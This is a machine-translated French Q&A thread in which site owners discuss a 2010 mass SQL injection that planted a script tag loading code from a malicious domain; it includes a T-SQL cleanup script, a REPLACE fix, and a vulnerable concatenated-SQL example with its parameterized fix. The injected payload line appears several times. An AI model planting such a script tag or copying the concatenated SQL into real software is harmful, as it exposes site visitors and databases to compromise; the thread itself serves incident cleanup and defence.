2010-09-21 3 views
9

Quelqu'un at-il eu plus d'informations sur cette attaque?Déchiffrement de cette attaque XSS

Je suis récemment ce script injecté dans mes sites web

Par ailleurs N'y allez pas sur ce site car il est la source de l'infection

</title><script src=http://google-stats50.**fo/***.php> 

Quel genre d'attaque est -ce, SQL ou CODE?

Par ailleurs N'y allez pas sur ce site car il est la source de l'infection

La question est de ce quind d'attaque cette attaque infectieuse se produit?

Nous l'avons trouvé, et ce n'était pas comme une attaque sur Twitter, c'était par des paramètres de requête dans une URL et injecter sql directement dans le paramètre.

Il est le produit de script SQL par notre équipe SQL pour nettoyer votre base de données qui a été infecté

/************************************************************************* 
     SQL INJECTED DATABASE 
*************************************************************************/ 

DECLARE @dbName VARCHAR(200), 
     @SqlString NVARCHAR(MAX), 
     @SearchText VARCHAR(MAX), 
     @SearchTextLike VARCHAR(MAX), 
     @NbItems INT, 
     @TableName VARCHAR(255), 
     @ColoneName VARCHAR(255), 
     @objId BIGINT, 
     @tmpSqlString NVARCHAR(MAX), 
     @CleanUp BIT, 
     @RowCount BIGINT, 
     @debug BIT, 
     @Msg VARCHAR(MAX); 

SET @debug = 0; -- 1 = Additionnal prints 

SET @CleanUp = 0; -- 1 = Update tables 

SET @SearchText = '</title><script src=http://google-stats50.info/ur.php></script>'; 

SET @SearchTextLike = '%' + @SearchText + '%'; 

DECLARE @QueryResults TABLE (SqlString VARCHAR(MAX), TableName VARCHAR(255), ColoneName VARCHAR(255)); 
DECLARE @InfectedDB TABLE (InfectedDbName VARCHAR(255)); 
DECLARE @CleanedUpDB TABLE (DbName VARCHAR(255), Msg VARCHAR(MAX)); 
DECLARE @DbToValidate TABLE (DbName VARCHAR(255)); 

INSERT INTO @DbToValidate 
SELECT Name 
FROM sys.databases 
WHERE [state] = 0 AND 
     Name NOT IN ('master', 'tempdb', 'model', 'msdb') AND 
     Name NOT LIKE 'sys%' 
ORDER BY Name; 

DECLARE db_cusor CURSOR FOR 
SELECT DbName 
FROM @DbToValidate; 

OPEN db_cusor; 

FETCH NEXT FROM db_cusor 
INTO @dbName; 

WHILE @@FETCH_STATUS = 0 
BEGIN 
    SET @Msg = 'Traitement pour : ' + @dbName; 
    INSERT INTO @CleanedUpDB VALUES (@dbName, @Msg); 
    PRINT @Msg; 

    IF (SELECT [state] FROM sys.databases WHERE Name = @dbName) = 0 
    BEGIN 
     IF @debug = 1 PRINT Char(13) + '1 - Processing Database : ' + @dbName; 

     --Vider le contenu 
     DELETE FROM @QueryResults; 

     IF @debug = 1 PRINT '2 - Vider la table @QueryResults'; 

     IF @CleanUp = 0 
     BEGIN 
      SET @SqlString = ' USE [' + @dbName + '];' + 
          ' SELECT ''SELECT @NbItems = COUNT(1) FROM ['' + tbl.Name + ''] WHERE ['' + col.name + ''] LIKE ''''' + @SearchTextLike + ''''''', tbl.Name, col.Name' + 
          ' FROM sys.tables tbl inner join' + 
          '   sys.columns col on tbl.object_id = col.object_id' + 
          ' WHERE col.system_type_id IN (35, 99, 167, 175, 231, 239) and tbl.Name not like ''sys%'''; 
     END 
     ELSE 
     BEGIN 
      SET @SqlString = ' USE [' + @dbName + '];' + 
          ' SELECT ''UPDATE ['' + tbl.Name + ''] SET ['' + col.name + ''] = REPLACE(CAST(['' + col.name + ''] AS VARCHAR(MAX)),''''' + @SearchText + ''''','''''''') FROM ['' + tbl.Name + ''] WHERE ['' + col.name + ''] LIKE ''''' + @SearchTextLike + ''''''', tbl.Name, col.Name' + 
          ' FROM sys.tables tbl inner join' + 
          '   sys.columns col on tbl.object_id = col.object_id' + 
          ' WHERE col.system_type_id IN (35, 99, 167, 175, 231, 239) and tbl.Name not like ''sys%''' 
     END 

     INSERT INTO @QueryResults     
     EXEC sp_executesql @SqlString; 

     --Validation pour les erreurs 
     IF @@ERROR <> 0 
     BEGIN 
      GOTO NEXTPRINC 
     END 

     IF @debug = 1 PRINT '3 - Récupérer les Query String'; 

     --Faire une loop sur les querys string pour voir s'il y a des injections SQL 
     DECLARE query_cursor CURSOR FOR 
     SELECT SqlString, TableName, ColoneName 
     FROM @QueryResults; 

     OPEN query_cursor; 

     FETCH NEXT FROM query_cursor 
     INTO @SqlString, @TableName, @ColoneName; 

     IF @debug = 1 PRINT '4 - Cursor sur les Query String'; 

     WHILE @@FETCH_STATUS = 0 
     BEGIN 

      SET @tmpSqlString = 'USE [' + @dbName + '];' + 'SELECT @objId = OBJECT_ID(''' + @TableName + ''');' 

      EXEC sp_executesql @tmpSqlString, N'@objId bigint output', @objId output 

      --Validation pour les erreurs 
      IF @@ERROR <> 0 
      BEGIN 
       GOTO NEXTINNER 
      END 

      IF ISNULL(@objId, -1) <> -1 
      BEGIN 

       SET @SqlString = 'USE [' + @dbName + '];' + @SqlString; 

       IF @CleanUp = 0 
       BEGIN 
        EXEC sp_executesql @SqlString, N'@NbItems int output', @NbItems output 
       END 
       ELSE 
       BEGIN 
        EXEC sp_executesql @SqlString 
        SET @RowCount = @@ROWCOUNT 
       END 

       --Validation pour les erreurs 
       IF @@ERROR <> 0 
       BEGIN 
        GOTO NEXTINNER 
       END 

       IF @CleanUp = 0 
       BEGIN 
        IF ISNULL(@NbItems, 0) <> 0 
        BEGIN 
         -- BD Infectée ! 
         INSERT INTO @InfectedDB VALUES (@dbName); 
         PRINT '**** BD Infectée : ' + @dbName; 
         SELECT * FROM @InfectedDB; 
         BREAK; 
        END 
       END 
       ELSE 
       BEGIN 
        IF @RowCount <> 0 
        BEGIN 
         SET @Msg = '**** Table --> [' + @TableName + '] .::. Colonne --> [' + @ColoneName + '] .::. Nb Rows --> ' + CAST(@RowCount AS VARCHAR(7)); 
         INSERT INTO @CleanedUpDB VALUES (@dbName, @Msg); 
         PRINT @Msg; 
        END 
       END 

      END 

    NEXTINNER: 
      -- Get the next query. 
      FETCH NEXT FROM query_cursor 
      INTO @SqlString, @TableName, @ColoneName; 
     END 

     CLOSE query_cursor; 
     DEALLOCATE query_cursor; 

     IF @debug = 1 PRINT '5 - Vider cursor query'; 
    END 
    ELSE 
    BEGIN 
     SET @Msg = '**** La base de données n''est pas ''ONLINE''.'; 
     INSERT INTO @CleanedUpDB VALUES (@dbName, @Msg); 
     PRINT @Msg; 
    END 

    SET @Msg = 'Fin traitement pour : ' + @dbName; 
    INSERT INTO @CleanedUpDB VALUES (@dbName, @Msg); 
    PRINT @Msg; 

NEXTPRINC: 
    -- Get the next database. 
    FETCH NEXT FROM db_cusor 
    INTO @dbName; 
END 

IF @CleanUp = 0 
BEGIN 
    SELECT * FROM @InfectedDB; 
END 
ELSE 
BEGIN 
    SELECT * FROM @CleanedUpDB; 
END 

GOTO FIN 

FININNER: 
    CLOSE query_cursor; 
    DEALLOCATE query_cursor; 

FIN: 
    --Fermeture du cursor 
    CLOSE db_cusor; 
    DEALLOCATE db_cusor; 
+0

Je ne sais pas ce que c'est ou comment le réparer, mais Google montre environ 740 autres sites infectés de manière similaire. –

+0

Donc changer l'url du script s'il vous plaît! –

+3

@ Cédric S'il vous plaît dites-moi pourquoi c'est une bonne idée d'épeler le nom de domaine de ce site dangereux sur la première page d'un site Web recevant 2,5 millions de visites par jour. Est-ce que tu essayes de le _promouvoir_? – badp

Répondre

4

Tout est arrivé à nous. Presque tous les enregistrements dans la base de données.

Le meilleur pari est de faire ce qui suit: (nous venons de faire cela avec succès)

UPDATE [mytable] set [column] = 
    REPLACE([column], 
      '&lt;/title&gt;&lt;script src=http://google-stats50.info/ur.php&gt;', 
      '') 

Cette ligne va supprimer le script de chaque champ. Vous devrez cependant vérifier manuellement les champs et modifier l'instruction UPDATE en conséquence. Je suppose que chacun de vous a un formulaire sur votre site Web avec un bouton d'envoi. Je devine également que l'action de formes implique une déclaration sql avec sql concaténé?

"INSERT INTO tbl_Contacts (name, email, enquiry) VALUES ('" & \ 
          name & "', '" & email & "', '" & enquiry & "');" 

Si tel est le cas, vous avez été l'injection SQL piraté et vous devriez probablement changer toutes les déclarations qui utilisent cette syntaxe pour « requêtes paramétrées »

"INSERT INTO tbl_Contacts (name, email, enquiry) VALUES (@name, @email, @enquiry);" 

sqlcommand.parameters.add("@name", SqlDbType.VarChar).Value = foo 
sqlcommand.parameters.add("@email", SqlDbType.VarChar).Value = bar 
sqlcommand.parameters.add("@enquiry", SqlDbType.VarChar).Value = baz 

Espérons que cela aide ..

+0

@badp: Merci pour le rangement :) – Simon

2

Nous avons eu le même problème ce matin. classique cas d'injection sql: vous ne semblez pas vérifier les paramètres que vous avez obtenus via l'URL. jetez un oeil aux journaux d'accès du serveur Web - vous verrez des déclarations de mise à jour!

+0

Nous avons eu exactement le même problème ce matin. Certaines réponses me disent que je ne sais pas si c'est une attaque de code ou attaquer directement le serveur sql parce que le site web .net et le site web classique d'asp ont été attaqués –

3

Attaque classique XSS. Vous devriez vérifier vos entrées pour les balises HTML et les supprimer. Si vous autorisez les utilisateurs à publier des tags HTML, vous devez utiliser une liste blanche pour les tags autorisés (et les attributs de tags autorisés, afin qu'ils ne puissent pas "onClick", par exemple) plutôt que d'essayer de bloquer ceux que vous pouvez penser. difficulté.

+0

Le site ne contient pas de formulaires –

+0

+1 pour recommander une liste blanche. –

1

J'ai récemment corrigé un hack similaire, chaque fichier .asp, .js et .html sur le serveur infecté comportait un script supplémentaire, mais la base de données était normale. Dans ce cas, le hack a été fait via FTP, le mot de passe n'était pas assez fort. Peut-être que quelque chose de similaire vous est arrivé?J'ai corrigé avec un find-and-replace-all dans un éditeur de texte supportant plusieurs documents à la fois. (notepad ++)

+0

Dans mon cas, la base de données est infectée, la page est rendue à partir du contenu de la base de données –